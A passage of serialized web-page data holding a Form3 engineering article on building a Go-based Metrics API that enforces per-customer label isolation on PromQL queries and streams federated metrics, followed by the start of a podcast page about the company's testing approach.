critical.",[],{"type":25,"text":40980,"spans":40981},"In the past, businesses relied on basic processes to detect and respond to incidents, such as posting updates on social media platforms like Twitter. Unfortunately, these approaches often resulted in slow response times and poorly structured communication with customers. As customer expectations continue to rise, mature incident management processes have become essential. While it's impossible to completely prevent incidents, businesses must have reliable and robust processes in place to detect, respond, and communicate effectively during incidents.",[],{"type":25,"text":40983,"spans":40984},"At Form3, we take our incident management processes a step further by providing customers with the ability to integrate product metrics into their incident response procedures. Unlike many third-party providers who only offer dashboard displays of their products, we offer our customers the ability to fetch and convert Prometheus metrics into different formats, enabling seamless integration with their chosen monitoring solutions. This means our customers are able to assess the impact of the outage, enabling them to take their own mitigation steps and communicate effectively with customers of their own.",[],{"type":25,"text":40986,"spans":40987},"While our approach offers many benefits and significant value for our customers, it also presents a unique set of challenges on both technical and organisational levels. In this series, we will guide you through our complete solution, with a focus on metric consumption in this first article, followed by two subsequent articles. Part 2 (link to follow!) will focus on secure and effective method of metric ingestion. In Part 3 we will zoom out to the organisational level and the challenges that come with effective implementation of this product.",[40988],{"start":21498,"end":3192,"type":765},{"type":25,"text":40990,"spans":40991},"Let's begin!",[],"rich_text$72d8bd67-7bec-4765-b518-84f3d3e491d5",{"variation":437,"version":438,"items":40994,"primary":40995,"id":41020,"slice_type":468,"slice_label":5},[],{"body":40996},[40997,41000,41003,41008,41011,41014,41017],{"type":746,"text":40998,"spans":40999},"Metrics Isolation Problem",[],{"type":25,"text":41001,"spans":41002},"As previously mentioned, Form3's preferred monitoring system is Prometheus. While we won't delve too deeply into the specifics of its functionality, it is a cloud-agnostic, open-source project licensed under Apache 2.0, solution that provides us with the ability to monitor our infrastructure and applications using metrics such as counters, gauges, and histograms. We utilise these metrics in a number of ways, including using them in conjunction with Grafana, which is a metric, logs and tracing visualisation software. We are using their SaaS offering that enables us to focus on value added services, exactly like the one described in this article. These tools provide benefits both from a debugging perspective of our systems and for alerting purposes that summon on-call engineers when something goes bad. To make metrics easily explorable and engineer-friendly, we typically store them in a single storage location per environment, with isolation between environments to prevent errors in one environment from affecting another. Nonetheless, this approach presents a challenge:",[],{"type":25,"text":41004,"spans":41005},"How do we split metrics, make them accessible to customers and not break a bank at the same time?",[41006,41007],{"start":398,"end":4084,"type":765},{"start":398,"end":4084,"type":593},{"type":25,"text":41009,"spans":41010},"The problem is that External Metrics are stored in the same location as internal metrics, and creating a separate storage location would be costly in terms of additional servers and fees, especially as we are a multi-tenant platform. Storing metrics separately for each customer is just not feasible.",[],{"type":988,"text":41012,"spans":41013},"Enter Metrics API",[],{"type":25,"text":41015,"spans":41016},"To address this issue, we have developed Metrics API, a query-enhancing service that enables us to store all metrics together while still providing access to a subset of external metrics.",[],{"type":25,"text":41018,"spans":41019},"Metrics API will serve as an intermediary between our Prometheus server and our customers. When a customer wants to access their metrics, Metrics API will authenticate their request and check if they have access rights based on their organisation ID. If authorised, Metrics API will execute a PromQL query against the Prometheus server to retrieve the requested metrics and return them to the customer.",[],"rich_text$31fca636-e766-4d02-b602-594a83ae75ba",{"variation":437,"version":527,"items":41022,"primary":41023,"id":41035,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":41024,"body":41025,"cta_label":5,"cta_link":41026,"aside_type":533,"aside_image":41027,"aside_video":41030,"aside_video_poster":41031,"aside_video_reduced_motion":41032,"aside_video_url":5,"aside_embed":41033,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":41034,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":41028,"alt":5,"copyright":5,"url":40950,"id":40951,"edit":41029},{"width":40949,"height":9774},{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$17226b04-3a10-422d-9000-4517aad0f598",{"variation":437,"version":438,"items":41037,"primary":41038,"id":41060,"slice_type":468,"slice_label":5},[],{"body":41039},[41040,41043,41046,41052,41055],{"type":25,"text":41041,"spans":41042},"To implement this solution, we will expose this service via an API gateway that will handle the authentication and authorisation of the requests. The API gateway will also handle rate limiting and other security-related concerns.",[],{"type":988,"text":41044,"spans":41045},"Slice & Dice Metrics",[],{"type":25,"text":41047,"spans":41048},"In order to separate internal and external metrics while minimising costs, Metrics API service splits metrics into subsets based on their labels. This is possible thanks to PromQL (Prometheus Query Language), which allows us to slice and dice metrics in various ways, given the source of the metric assigns special labels to it to indicate its dimensions.",[41049],{"start":24936,"end":3299,"type":489,"data":41050},{"link_type":491,"url":41051,"target":493},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fprometheus\u002Flatest\u002Fquerying\u002Fbasics\u002F",{"type":25,"text":41053,"spans":41054},"For example, to distinguish between internal and external metrics, we can add a unique label, such as metric_purpose=\"external\". To split them for each customer, we can use a UUID label for each organisation represented on our platform (e.g.: organisation_id=\"UUID\") or anything that identifies the entity for which the metric is produced. Additional dimensions such as a list of products could also be added with labels like origin=\"product_name\". However, we should be aware that each label increases maintenance costs as it introduces new complexities to the code.",[],{"type":25,"text":41056,"spans":41057},"In summary, the following query will retrieve all external metrics for an organisation with a given UUID: {metric_purpose=\"external\", organisation_id=\"UUID\"}. In addition to that Metrics API also includes usability features, such as automatic label filling so customers can submit any valid query, for instance an empty one: {}.",[41058,41059],{"start":3964,"end":10310,"type":765},{"start":8792,"end":19207,"type":765},"rich_text$0bf7bf1e-ae72-4f3a-a7e8-d532b0dc7597",{"variation":437,"version":438,"items":41062,"primary":41063,"id":41068,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":41064},[41065],{"type":27922,"text":41066,"spans":41067},"# Example request described above\ncurl 'https:\u002F\u002Fexample-request.com\u002Fpath_prefix\u002Fapi\u002Fv1\u002Fquery?query={metrics_api%3D%22external%22%2C%20organisation_id%3D%22d438bef8-a5ea-4aa1-bc1a-d5681e62515c%22%0A}'",[],"code_block$7c736172-2104-4296-a26d-5f1e87a63308",{"variation":437,"version":438,"items":41070,"primary":41071,"id":41091,"slice_type":468,"slice_label":5},[],{"body":41072},[41073,41076,41081],{"type":25,"text":41074,"spans":41075},"So, the problem we're solving with Metrics API is",[],{"type":25,"text":41077,"spans":41078},"How do we enforce the minimal required set of labels on each customers' query?",[41079,41080],{"start":398,"end":9216,"type":765},{"start":398,"end":9216,"type":593},{"type":25,"text":41082,"spans":41083},"When it comes to providing good isolation of metrics through label selectors, we need to be careful with labels that allow for looser selection, such as organisation_id. For example, if a customer has multiple organisations but only one user to fetch these metrics, on the one hand we would want to allow them to select a subset of organisation IDs instead of just one. On the other hand however, we cannot allow just any regular expression for these labels when the customer has full power for it. Therefore, we only allow a very limited set of regular expressions, such as an alphanumeric string (without special characters) or an alternative of them - organisation_id =~ \"UUID1|UUD2\". Negative queries, such as organisation_id != X, are all forbidden in order to prevent potential security risks. Moreover, we don't need to worry about other labels, as the restricted labels properly narrow down the set of queryable metrics.",[41084,41085,41088],{"start":9277,"end":3044,"type":765},{"start":41086,"end":41087,"type":765},655,686,{"start":41089,"end":41090,"type":765},714,734,"rich_text$0e3c7a11-1847-4d90-ada3-a823acb9ce6d",{"variation":437,"version":438,"items":41093,"primary":41094,"id":41150,"slice_type":468,"slice_label":5},[],{"body":41095},[41096,41099,41102,41105,41108,41114,41121,41128,41131,41135,41138,41141,41146],{"type":746,"text":41097,"spans":41098},"The Implementation",[],{"type":25,"text":41100,"spans":41101},"Now that we understand why we need Metrics API, what problem we're trying to solve, and how to do it, let's talk about the implementation.",[],{"type":988,"text":41103,"spans":41104},"Implementation Scope",[],{"type":25,"text":41106,"spans":41107},"Metrics API is essentially a HTTP proxy that mimics a subset of Prometheus API endpoints. While we won't go into details about the general implementation, we'll focus on the interesting parts: which endpoints we need to implement, how to implement them using Prometheus as a library, and what technical challenges we faced during the implementation.",[],{"type":25,"text":41109,"spans":41110},"The core functionality of Metrics API is to fetch metric data in Prometheus format. In other words we're interested in implementing these three endpoints: \u002Fapi\u002Fv1\u002Fquery, \u002Fapi\u002Fv1\u002Fquery_range, and \u002Ffederate.",[41111,41112,41113],{"start":753,"end":3044,"type":765},{"start":19001,"end":10863,"type":765},{"start":3300,"end":19848,"type":765},{"type":1151,"text":41115,"spans":41116},"\u002Fapi\u002Fv1\u002Fquery endpoint is used by Grafana, among others, in stat panels to display a current statistic.",[41117,41118],{"start":398,"end":1951,"type":765},{"start":685,"end":1658,"type":489,"data":41119},{"link_type":491,"url":41120,"target":493},"https:\u002F\u002Fgrafana.com\u002Fdocs\u002Fgrafana\u002Flatest\u002Fpanels-visualizations\u002Fvisualizations\u002Fstat\u002F",{"type":1151,"text":41122,"spans":41123},"\u002Fapi\u002Fv1\u002Fquery_range endpoint is used by Grafana in time series panels to display how the value changes in time.",[41124,41125],{"start":398,"end":6262,"type":765},{"start":1250,"end":3397,"type":489,"data":41126},{"link_type":491,"url":41127,"target":493},"https:\u002F\u002Fgrafana.com\u002Fdocs\u002Fgrafana\u002Flatest\u002Fpanels-visualizations\u002Fvisualizations\u002Ftime-series\u002F",{"type":25,"text":41129,"spans":41130},"If your customers only use Grafana, these endpoints would suffice. We should also note that while you could implement additional endpoints for querying label names and values, they may not add much value compared to the implementation effort required.",[],{"type":1151,"text":41132,"spans":41133},"\u002Ffederate endpoint, on the other hand, allows Prometheus instances to be federated. One useful scenario is that customers can set up their own Prometheus instance to federate with Metrics API and send alerts based on their custom alerting rules.",[41134],{"start":398,"end":1355,"type":765},{"type":988,"text":41136,"spans":41137},"The Heart of Metrics API",[],{"type":25,"text":41139,"spans":41140},"Now let's move on to the core of the Metrics API service - its query enhancing engine. At Form3, the majority of our services are implemented using Go. Go is a programming language that was developed by Google, with a focus on building efficient, scalable, and reliable software. Because of its simplicity, speed, and ease of use, it is an ideal language for our purposes.",[],{"type":25,"text":41142,"spans":41143},"Prometheus is written in Go, we were able to leverage its functionality with minimal effort to securely parse and enhance incoming PromQL queries. To parse the query, we utilise the ParseExpr function from the github.com\u002Fprometheus\u002Fprometheus\u002Fpromql\u002Fparser package, which returns an expression struct that represents the abstract syntax tree of the input query.",[41144,41145],{"start":18514,"end":22002,"type":765},{"start":28769,"end":18959,"type":765},{"type":25,"text":41147,"spans":41148},"As an example, consider the following Prometheus query: rate(http_requests_total{job=\"api-server\"}[5m]). The corresponding abstract syntax tree is shown below:",[41149],{"start":4889,"end":3886,"type":765},"rich_text$36e90b5c-200c-4c3a-aaa9-10d0d5208072",{"variation":437,"version":527,"items":41152,"primary":41153,"id":41169,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":41154,"body":41155,"cta_label":5,"cta_link":41156,"aside_type":533,"aside_image":41157,"aside_video":41164,"aside_video_poster":41165,"aside_video_reduced_motion":41166,"aside_video_url":5,"aside_embed":41167,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":41168,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":41158,"alt":5,"copyright":5,"url":41161,"id":41162,"edit":41163},{"width":41159,"height":41160},4976,2045,"\u002F_prismic-media\u002F5483f230964d4d7b-ZLdUvMCCMRCtPZej_b634013a-9a51-4a8f-9db1-43e9dc0.png","ZLdUvMCCMRCtPZej",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$7b298ad8-e667-486d-acb3-e77b74d4a0b1",{"variation":437,"version":438,"items":41171,"primary":41172,"id":41195,"slice_type":468,"slice_label":5},[],{"body":41173},[41174,41182,41186],{"type":25,"text":41175,"spans":41176},"The AST shows the structure of the query in a tree-like format, where each node represents an operation or function call, and its children represent the arguments or operands. In this case, the top-level node is a function call to the rate function, which has two arguments: a vector selector and a duration scalar. The vector selector is itself a function call to the http_requests_total metric, with a label matcher that selects only the metrics with a job label equal to \"api-server\".",[41177,41178,41179,41181],{"start":27582,"end":19536,"type":765},{"start":19208,"end":17777,"type":765},{"start":13967,"end":41180,"type":765},458,{"start":5081,"end":6966,"type":765},{"type":25,"text":41183,"spans":41184},"Expressions in PromQL consist of multiple elements, but for our purposes, we are specifically interested in the parser.VectorSelector nodes within the AST. These nodes are responsible for selecting metrics, and if we can modify them to enforce the rules outlined in the previous section, we will achieve our objective. To accomplish this, we must traverse the AST and modify all Vector Selectors accordingly. While it may seem daunting to implement a tree algorithm, it is not that complicated using a recursive function, which we outlined below.",[41185],{"start":12805,"end":783,"type":765},{"type":25,"text":41187,"spans":41188},"Important Note: All code examples in this article have been simplified for clarity. For instance the code snippet below considers only case types relevant to the example discussed above. To parse any and all Prometheus queries, the code must consider all possible AST node types, which can be found here.",[41189,41190,41191],{"start":398,"end":28611,"type":593},{"start":19450,"end":9287,"type":765},{"start":41192,"end":19200,"type":489,"data":41193},299,{"link_type":491,"url":41194,"target":493},"https:\u002F\u002Fgithub.com\u002Fprometheus\u002Fprometheus\u002Fblob\u002Fmain\u002Fpromql\u002Fparser\u002Fast.go","rich_text$b6fd4251-f429-4d27-8038-00deb07e858b",{"variation":437,"version":438,"items":41197,"primary":41198,"id":41203,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":41199},[41200],{"type":27922,"text":41201,"spans":41202},"\u002F\u002F LabelModifier is a function that modifies given Vector Selector to include\n\u002F\u002F all required labels to limit the set of results to what we want.\ntype LabelModifier func(*parser.VectorSelector) (*parser.VectorSelector, error)\n\n\u002F\u002F modifyLabels function modifies all Vector Selector nodes within the AST of\n\u002F\u002F the passed Prometheus Expression - the AST returned by the ParseExpr function.\nfunc modifyLabels(expr parser.Expr, labelMod LabelModifier) (parser.Expr, error) {\n\tvar err error\n\n\tswitch exp := expr.(type) {\n\tcase *parser.VectorSelector:\n\t\texpr, err = labelMod(exp)\n\tcase *parser.MatrixSelector:\n\t\texp.VectorSelector, err = modifyLabels(exp.VectorSelector, labelMod)\n\tcase *parser.Call:\n\t\tfor i := range exp.Args {\n\t\t\texp.Args[i], err = modifyLabels(exp.Args[i], labelMod)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn expr, err\n}",[],"code_block$2f1cbbd9-5a3d-4ad1-87ef-b4926fa86c87",{"variation":437,"version":438,"items":41205,"primary":41206,"id":41220,"slice_type":468,"slice_label":5},[],{"body":41207},[41208,41213],{"type":25,"text":41209,"spans":41210},"The recursive function above is responsible for traversing the abstract syntax tree of the Prometheus query and modifying all *parser.VectorSelector nodes using the labelMod function. Although this function is relatively simple, we believe it could be useful to see how to implement it.",[41211,41212],{"start":19498,"end":8736,"type":765},{"start":4589,"end":24936,"type":765},{"type":25,"text":41214,"spans":41215},"Now that we understand how to locate and modify each vector selector, let's explore how we might implement the labelMod function. As the rules become more complex, the implementation will likewise become more complicated. The labelMod function modifies one label at a time, with each label modification split into one of its sub-functions. To keep things simple, let's focus on enforcing the metric_purpose=\"external\" rule to separate external metrics from internal ones.",[41216,41217,41218],{"start":3971,"end":4178,"type":765},{"start":4142,"end":3188,"type":765},{"start":9058,"end":41219,"type":765},417,"rich_text$40b15369-23be-4795-8d32-384a550f7e00",{"variation":437,"version":438,"items":41222,"primary":41223,"id":41228,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":41224},[41225],{"type":27922,"text":41226,"spans":41227},"\u002F\u002F applyMetricPurposeLabel function enforces `metric_purpose=\"external\"` label to be\n\u002F\u002F present on the provided vector selector.\nfunc applyMetricPurposeLabel(vector *parser.VectorSelector) *parser.VectorSelector {\n\t\u002F\u002F Filter out all occurrences of that label on the matcher.\n\tfilteredLabels := make([]*labels.Matcher, 0)\n\tfor i := range vector.LabelMatchers {\n\t\tif vector.LabelMatchers[i].Name != PublicMetricLabelName {\n\t\t\tfilteredLabels = append(filteredLabels, vector.LabelMatchers[i])\n\t\t}\n\t}\n\t\u002F\u002F Apply `metric_purpose=\"external\"` label.\n\tfilteredLabels = append(filteredLabels, &labels.Matcher{\n\t\tType:  labels.MatchEqual,\n\t\tName:  \"metric_purpose\",\n\t\tValue: \"external\",\n\t})\n\t\u002F\u002F Assign the new updated label set to the Vector Selector.\n\tvector.LabelMatchers = filteredLabels\n\treturn vector\n}",[],"code_block$6921a662-9943-4f97-bd6a-289277bb3637",{"variation":437,"version":438,"items":41230,"primary":41231,"id":41238,"slice_type":468,"slice_label":5},[],{"body":41232},[41233],{"type":25,"text":41234,"spans":41235},"And that's how we modify Prometheus query selectors! By traversing the query's corresponding abstract syntax tree using a recursive function, we can locate and modify the *parser.VectorSelector nodes. Additionally, we explored how to implement the labelMod function to enforce custom rules on the query labels.",[41236,41237],{"start":754,"end":19847,"type":765},{"start":18768,"end":18959,"type":765},"rich_text$37f9f8cb-a8b9-4ebc-88d3-03989a788731",{"variation":437,"version":438,"items":41240,"primary":41241,"id":41284,"slice_type":468,"slice_label":5},[],{"body":41242},[41243,41246,41249,41252,41257,41260,41263,41267,41271,41276,41278,41281],{"type":746,"text":41244,"spans":41245},"Technical Challenges",[],{"type":25,"text":41247,"spans":41248},"During the implementation of the Metrics API service, we encountered a few technical challenges. It turns out that seemingly the most boring task presented the most interesting ones.",[],{"type":988,"text":41250,"spans":41251},"Ready, Set, Stream!",[],{"type":25,"text":41253,"spans":41254},"Implementing the \u002Ffederate endpoint was necessary because Grafana Cloud (our metrics storage provider) doesn't provide it. Fortunately, all the data served by this endpoint could be fetched from \u002Fapi\u002Fv1\u002Fquery one, which is used for fetching instant vectors. The only difference, and the work we have to do, is response formatting. Sounds easy, right?",[41255,41256],{"start":6911,"end":5574,"type":765},{"start":3300,"end":9292,"type":765},{"type":25,"text":41258,"spans":41259},"The problem is that some queries can have large amounts of metrics returned, especially if a customer was monitoring multiple organisations on our platform. This resulted in a huge memory footprint for our Metrics API, which was consuming around 500 megabytes of memory, making it hard to justify given it's such a small service. To solve this issue, we decided to stream both:",[],{"type":1151,"text":41261,"spans":41262},"the incoming JSON response from Prometheus,",[],{"type":1151,"text":41264,"spans":41265},"the formatted \u002Ffederate response to the customer.",[41266],{"start":2987,"end":4023,"type":765},{"type":25,"text":41268,"spans":41269},"Streaming allowed us to parse the incoming JSON response as it was being transferred from the backend storage, format it, and send it to the customer in the \u002Ffederate format without keeping the whole response in memory. Instead, we only kept the amount we parsed, which was just one metric at a time.",[41270],{"start":10310,"end":9156,"type":765},{"type":25,"text":41272,"spans":41273},"This resulted in the memory footprint reduction to just 15 megabytes, which is a 33 times decrease!",[41274,41275],{"start":398,"end":19482,"type":765},{"start":398,"end":19482,"type":593},{"type":988,"text":41097,"spans":41277},[],{"type":25,"text":41279,"spans":41280},"In this section we'll focus on memory optimisations that made such a drastic difference. In reality, the implementation has to consider many things. For instance - always populating the response with at least one metric. Otherwise, the federating Prometheus on customers' side would think that we are down if no metrics are returned, but in fact it could be that they've just inserted a query that returns an empty set of metrics. With that out of the way, let's see the code!",[],{"type":25,"text":41282,"spans":41283},"The biggest difference boils down to instead of using",[],"rich_text$884c3fa3-5784-4e41-921b-8ec79e458041",{"variation":437,"version":438,"items":41286,"primary":41287,"id":41292,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":41288},[41289],{"type":27922,"text":41290,"spans":41291},"err := json.NewDecoder(resp.Body).Decode(&metricsResponseStruct)",[],"code_block$3f072006-25c5-4ed1-81ec-d69f816f1a19",{"variation":437,"version":438,"items":41294,"primary":41295,"id":41300,"slice_type":468,"slice_label":5},[],{"body":41296},[41297],{"type":25,"text":41298,"spans":41299},"to read the response all at once. We read it bit-by-bit, and decoding one token at a time, using:",[],"rich_text$a9febadc-6968-4c07-8262-fd42202d9672",{"variation":437,"version":438,"items":41302,"primary":41303,"id":41308,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":41304},[41305],{"type":27922,"text":41306,"spans":41307},"func findKey(dec *json.Decoder, key string) error {\n\tfor dec.More() {\n\t\ttoken, err := dec.Token()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif t, ok := token.(string); ok && t == key {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn error.New(\"Token not found.\")\n}",[],"code_block$ee175fec-227c-4f53-9092-96458cccd477",{"variation":437,"version":438,"items":41310,"primary":41311,"id":41317,"slice_type":468,"slice_label":5},[],{"body":41312},[41313],{"type":25,"text":41314,"spans":41315},"When we finally find the result key in the JSON response we can parse one metric sample at a time, using:",[41316],{"start":1066,"end":690,"type":765},"rich_text$6ffc639b-3600-4005-b900-b80d654c336b",{"variation":437,"version":438,"items":41319,"primary":41320,"id":41325,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":41321},[41322],{"type":27922,"text":41323,"spans":41324},"type PromMetricSample struct {\n\tMetric map[string]string `json:\"metric\"`\n\tValue  []interface{}     `json:\"value\"`\n}\n\n\u002F\u002F Reset recycles PromMetricSample so it can be reused for decoding.\nfunc (p *PromMetricSample) Reset() {\n\tfor k := range p.Metric {\n\t\tdelete(p.Metric, k)\n\t}\n\tp.Value = p.Value[:0]\n}\n\nvar sample PrometheusQueryResponseMetricSamples\nbuf := bytes.NewBuffer([]byte{})\n\n\u002F\u002F At this point we know that we will read an array of samples\n\u002F\u002F and then finish as the decoder.More() will return false\n\u002F\u002F when we are out of items.\nfor dec.More() {\n\t\u002F\u002F Decode each object as a prometheus sample.\n\tsample.Reset()\n\tif err := dec.Decode(&sample); err != nil {\n\t\treturn err\n\t}\n\t\u002F\u002F Buffers are the fastest way to concatenate strings and allow us to reuse\n\t\u002F\u002F the buffer for every metric. This means we won't need to re-allocate space\n\t\u002F\u002F every time.\n\tbuf.Reset()\n\tbuf = writeMetricInFederateFormat(buf, sample)\n\tif _, err := buf.WriteTo(writer); err != nil {\n\t\treturn err\n\t}\n}",[],"code_block$bdf531a5-fe02-4651-b336-61b069578389",{"variation":437,"version":438,"items":41327,"primary":41328,"id":41333,"slice_type":468,"slice_label":5},[],{"body":41329},[41330],{"type":25,"text":41331,"spans":41332},"In the above code you can see a summary of our memory optimisations. First we use one sample instance to decode all of the metrics. This means we don't need to allocate one struct for each new metric. We need to do some cleaning after parsing each metrics, but Go is very fast so we don't mind that.",[],"rich_text$1d516848-19f4-465e-a576-66d9376983be",{"variation":437,"version":527,"items":41335,"primary":41336,"id":41352,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":41337,"body":41338,"cta_label":5,"cta_link":41339,"aside_type":533,"aside_image":41340,"aside_video":41347,"aside_video_poster":41348,"aside_video_reduced_motion":41349,"aside_video_url":5,"aside_embed":41350,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":41351,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":41341,"alt":5,"copyright":5,"url":41344,"id":41345,"edit":41346},{"width":41342,"height":41343},4196,2264,"\u002F_prismic-media\u002F668a568a6d254143-F7MeUZ6ALHvK3eW3_2dee7e2c-1aa6-47e5-99e1-9c26e20.svg","F7MeUZ6ALHvK3eW3",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$dd93e132-70d7-4dfb-8813-c9d5b82b7b72",{"variation":437,"version":438,"items":41354,"primary":41355,"id":41367,"slice_type":468,"slice_label":5},[],{"body":41356},[41357,41363],{"type":25,"text":41358,"spans":41359},"After decoding a single metric sample we need to convert it to the \u002Ffederate format. To do this effectively we use a helper buffer that allows us to quickly create the output array of bytes we need. We need this because in Go, strings are immutable, which means that once created, their value cannot be modified. Concatenating two strings, therefore, requires creating a new string that contains the contents of both strings. This process can be expensive both in terms of both memory allocation as well as copying. Using a buffer in Go can help mitigate this cost by allowing you to build up a string incrementally without creating a new string for each concatenation operation. A buffer is a mutable sequence of bytes that can be used to efficiently build up a larger string by appending smaller strings to it. When the byte representation of the final string has been constructed, you can use the String() method of the buffer to obtain the value.",[41360,41361],{"start":2397,"end":854,"type":765},{"start":30605,"end":41362,"type":765},908,{"type":25,"text":41364,"spans":41365},"We omit the implementation of writeMetricInFederateFormat as it just concatenates strings using the aforementioned buffer - no magic there.",[41366],{"start":3041,"end":3639,"type":765},"rich_text$2e9beafc-f097-4069-befe-e26e5816c4db",{"variation":437,"version":438,"items":41369,"primary":41370,"id":41378,"slice_type":468,"slice_label":5},[],{"body":41371},[41372,41375],{"type":746,"text":41373,"spans":41374},"Ta da! 🎉",[],{"type":25,"text":41376,"spans":41377},"Thank you for taking the time to read this article! We hope you found the information useful. Be sure to stay tuned for our upcoming articles where we'll cover metric ingestion solution and organisational challenges we faced when creating this product. Don't forget to follow us on social media to stay up-to-date with our latest content. Goodbye for now!",[],"rich_text$7d74eddf-1d01-4d10-a5c5-71181a38d44d",{"id":41380,"uid":41381,"type":25949,"data":41382},"alz1GhEAACoAUWfj","testing-at-form3",{"title":41383,"excerpt":41384,"card_image":41385,"published_date":18399,"reading_time":4603,"tag":25960,"dek":41384,"featured_image":41390,"about_form3":41391,"client_about_heading":5,"client_about_body":41392,"author_name":18970,"author_title":18971,"author_photo":41393,"author_bio":41396,"author_linkedin":41399,"slices":41401,"meta_title":41383,"meta_description":41384},".tech Podcast - Testing at Form3","Sam Owens joins us to tell us all about our approach to testing at Form3. He gives us an overview of our testing strategy, the different types of tests we run and explains how to use Pact for testing your services. Finally, he tells us why he prefers BDD style tests.",{"dimensions":41386,"alt":41383,"copyright":5,"url":41387,"id":41388,"edit":41389},{"width":412,"height":412},"\u002F_prismic-media\u002Fd90e6d90498b9f98-Drbkinz8198Eia1x_testing-at-form3.png","Drbkinz8198Eia1x",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{"dimensions":41394,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":41395},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[41397],{"type":25,"text":25971,"spans":41398},[],{"link_type":491,"key":41400,"url":25975,"target":493},"3cf52d40-55dc-45b2-8f92-7ce81f88bf00",[41402,41422,41435,41476,41493,41507,41527],{"variation":437,"version":527,"items":41403,"primary":41404,"id":41421,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":41405,"body":41409,"cta_label":10704,"cta_link":41412,"aside_type":5,"aside_image":41415,"aside_video":41416,"aside_video_poster":41417,"aside_video_reduced_motion":41418,"aside_video_url":5,"aside_embed":41419,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":41420,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[41406],{"type":746,"text":41407,"spans":41408},"Ep 31 .tech - Testing at Form3",[],[41410],{"type":25,"text":10702,"spans":41411},[],{"link_type":491,"key":41413,"url":41414},"dce3f23b-415d-47d8-a9e3-f261add75500","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-31-tech-testing-at-form3-MBMFuHWL",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$86ed0292-4e35-4aac-84b3-dcf0d66109ad",{"variation":437,"version":438,"items":41423,"primary":41424,"id":41434,"slice_type":468,"slice_label":5},[],{"body":41425},[41426],{"type":25,"text":41427,"spans":41428},"Sam Owens is Head of Architecture at Form3. He guides the technical decisions that our engineers make across the platform. Generally, his role involves coordinating decision making. At Form3, we take a collaborative approach to system design and Sam is in charge of facilitating decision discussions.",[41429,41432],{"start":398,"end":1355,"type":489,"data":41430},{"link_type":491,"url":41431},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fsam-owens-34331a2a\u002F",{"start":846,"end":1486,"type":489,"data":41433},{"link_type":491,"url":37422},"rich_text$4bbd6d7b-3f42-4667-82f1-03951ca8ac89",{"variation":437,"version":438,"items":41436,"primary":41437,"id":41475,"slice_type":468,"slice_label":5},[],{"body":41438},[41439,41442,41448,41451,41454,41464,41468,41472],{"type":746,"text":41440,"spans":41441},"Types of tests we perform",[],{"type":25,"text":41443,"spans":41444},"We spend a lot of time focusing on automation, so we don't have dedicated QA teams. Instead, it is the responsibility of the teams that build the software to ensure that it is well tested and production ready. We run our teams using the DevOps model.",[41445],{"start":13077,"end":20976,"type":489,"data":41446},{"link_type":491,"url":41447},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fwho-we-are\u002Fengineering-teams",{"type":25,"text":41449,"spans":41450},"We really believe that focusing on end-to-end tests is the key to that. We put a lot of onus on allowing people to write tests that cover as much of their software in a black box fashion, without relying on unit tests that mock out different behaviour. This allows us to have a very high quality test suite at the end of it.",[],{"type":25,"text":41452,"spans":41453},"We have a variety of functional tests:",[],{"type":3373,"text":41455,"spans":41456},"End-to-end tests at the service level: We spin up the infrastructure required for a the service under test using Docker and then we use Pact, which implements consumer contract testing for our internal dependencies.",[41457,41458,41461],{"start":398,"end":846,"type":765},{"start":2055,"end":4178,"type":489,"data":41459},{"link_type":491,"url":41460},"https:\u002F\u002Fdocs.docker.com\u002Flanguage\u002Fnodejs\u002Frun-containers\u002F",{"start":3295,"end":5703,"type":489,"data":41462},{"link_type":491,"url":41463},"https:\u002F\u002Fpact.io\u002F",{"type":3373,"text":41465,"spans":41466},"End-to-end platform tests: run full flows for payments through our system. We have fewer of these as they require a fully working platform.",[41467],{"start":398,"end":1066,"type":765},{"type":3373,"text":41469,"spans":41470},"Manual smoke tests: the final barrier to ensuring that everything works as expected before we push changes to production.",[41471],{"start":398,"end":2769,"type":765},{"type":25,"text":41473,"spans":41474},"On the non-functional testing side, we run load tests on our platforms. We also run continuous load on our development environments to ensure that our systems are able to scale correctly.",[],"rich_text$1941c60b-96eb-49ef-9472-02699bc98101",{"variation":437,"version":438,"items":41477,"primary":41478,"id":41492,"slice_type":468,"slice_label":5},[],{"body":41479},[41480,41483,41486,41489],{"type":746,"text":41481,"spans":41482},"Our preference for end-to-end 